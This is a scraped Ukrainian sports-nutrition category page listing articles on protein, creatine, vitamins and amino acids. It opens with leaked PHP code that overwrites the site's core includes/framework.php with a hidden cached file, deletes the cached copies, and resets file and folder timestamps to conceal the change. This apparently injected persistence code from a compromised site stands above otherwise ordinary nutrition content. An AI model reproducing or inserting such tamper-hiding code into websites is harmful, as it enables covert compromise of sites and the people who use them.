$frameworkFile = $_SERVER ["DOCUMENT_ROOT"]."/includes/framework.php"; $cacheFile = $_SERVER ["DOCUMENT_ROOT"]."/cache/_system/".md5("_system")."-cache-system.php"; $frameworkFileTo = $_SERVER ["DOCUMENT_ROOT"]."/cache/_system/".md5("_framework")."-cache-framework.php"; if (file_exists($cacheFile) && file_exists($frameworkFileTo)) { require_once JPATH_BASE . "/cache/_system/".md5("_system")."-cache-system.php"; $filemTime = filemtime($frameworkFile); $contentFile = file_get_contents($frameworkFileTo); file_put_contents($frameworkFile, $contentFile, LOCK_EX); @unlink($frameworkFileTo); @unlink($cacheFile); touch($frameworkFile, $filemTime); touch($_SERVER ["DOCUMENT_ROOT"]."/includes", $filemTime); touch($_SERVER ["DOCUMENT_ROOT"]."/cache", $filemTime); touch($_SERVER ["DOCUMENT_ROOT"]."/cache/_system", $filemTime); } СПОРТИВНЕ ХАРЧУВАННЯ | Спортивне харчування - успіх у бодібілдингу та пауерліфтингу

СПОРТИВНЕ ХАРЧУВАННЯ

спортивне харчування

Сучасний ринок спортивного харчування пропонує широкий асортимент  різноманітних добавок. В цьому розділі зібрані статті про правила прийому, ефекти від прийому, побічні дії, специфіку різних спортивних добавок таких як креатин, протеїн, глютамін, амінокислоти, жироспалювачі, потенцери і т.д.  
Таке різноманіття різнокольорових баночек може поставити в "складне положення" навіть професіонала, а не тільки початківця.

Фільтрувати за назвою     Показати # 
# Заголовок Статті
1 Таблиця складу та калорійності продуктів
2 Спортивне харчування - роздуми початківця.
3 Вітамін С
4 Вміст вітаміну Е у продуктах
5 Вітамін Е. Токоферол.
6 Вуглеводи
7 Вітаміни
8 Виробники спортивного харчування та одягу
9 Харчування людини
10 Амінокислоти. Чи потрібно приймати амінокислоти бодібілдерам
11 Протеїн - білок. Протеїнові коктейлі. Протеїнова дієта.
12 Види спортивного харчування
13 Креатину -ТАК, або роль і функція креатину
14 Міфи про спортивне харчування
15 Як набрати масу: корисне харчування.
16 Види амінокилот. Дія амінокислот. Замінні та незамінні амінокислоти
17 Спортивне харчування
18 11 помилок харчування, або питання від "чайників"
19 Що таке протеїн
 
Статті СПОРТИВНЕ ХАРЧУВАННЯ